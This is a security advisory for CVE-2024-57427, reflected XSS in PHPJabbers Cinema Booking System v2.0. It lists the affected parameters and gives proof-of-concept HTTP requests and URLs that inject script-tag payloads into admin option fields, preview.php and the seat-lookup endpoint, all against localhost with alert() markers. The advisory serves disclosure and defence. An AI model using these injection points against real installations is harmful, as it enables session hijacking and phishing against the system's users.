
CVE-2024-57427: PHPJabbers 시네마 예약 시스템 v2.0은 반사형 XSS에 취약하여 세션 하이재킹 및 피싱 공격을 허용합니다.
PHPJabbers Cinema Booking System v2.0은 반사형 크로스 사이트 스크립팅(XSS)에 취약합니다. 여러 엔드포인트가 사용자 입력을 부적절하게 처리하여 악성 스크립트가 피해자의 브라우저에서 실행될 수 있습니다. 공격자는 악성 링크를 만들어 세션 쿠키를 탈취하거나 피싱 공격을 수행할 수 있습니다.
영향을 받는 POST 요청 함수
영향을 받는 GET 요청 함수
공격자는 피해자의 브라우저에서 임의의 JavaScript 코드를 실행하여 데이터 도용, 세션 하이재킹 및 피싱 공격을 수행할 수 있습니다. 이 취약점은 사용자 세션의 보안과 무결성, 그리고 잠재적으로 애플리케이션 자체를 손상시킬 수 있습니다.
Payload: <script>alert(x)</script>
POST /CinemaBookingDev/index.php?controller=pjAdminOptions&action=pjActionUpdate HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CinemaBooking=xxxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 778
options_update=1&next_action=pjActionBookingForm&value-enum-o_bf_include_title=XXS1<script>alert(1)</script>&value-enum-o_bf_include_name=XXS2<script>alert(2)</script>&value-enum-o_bf_include_email=XXS3<script>alert(3)</script>&value-enum-o_bf_include_phone=XXS4<script>alert(4)</script>&value-enum-o_bf_include_company=XXS5<script>alert(5)</script>&value-enum-o_bf_include_address=XXS6<script>alert(6)</script>&value-enum-o_bf_include_country=XXS7<script>alert(7)</script>&value-enum-o_bf_include_state=XXS8<script>alert(8)</script>&value-enum-o_bf_include_city=XXS9<script>alert(9)</script>&value-enum-o_bf_include_zip=XXS10<script>alert(10)</script>&value-enum-o_bf_include_notes=XXS11<script>alert(11)</script>&value-enum-o_bf_include_captcha=XXS12<script>alert(12)</script>
Payload: "><script>alert(x)</script> and "></script><script>alert(x)</script>
http://127.0.0.1/CinemaBookingDev/preview.php?locale=1&hide=0&theme=theme2"><script>alert(1)</script>&selected_date=21-12-2024
http://127.0.0.1/CinemaBookingDev/preview.php?locale=1&hide=XXS1"></script><script>alert(1)</script>&theme=theme2&selected_date=21-12-2024
http://127.0.0.1/CinemaBookingDev/preview.php?locale=1se"></script><script>alert(1)</script>&hide=0&theme=theme2&selected_date=21-12-2024
http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminEvents&action=pjActionGetSeats&event_id=14&venue_id=2&date_time=15-12-2024 00:00&index=new_1492"><script>alert(1)</script>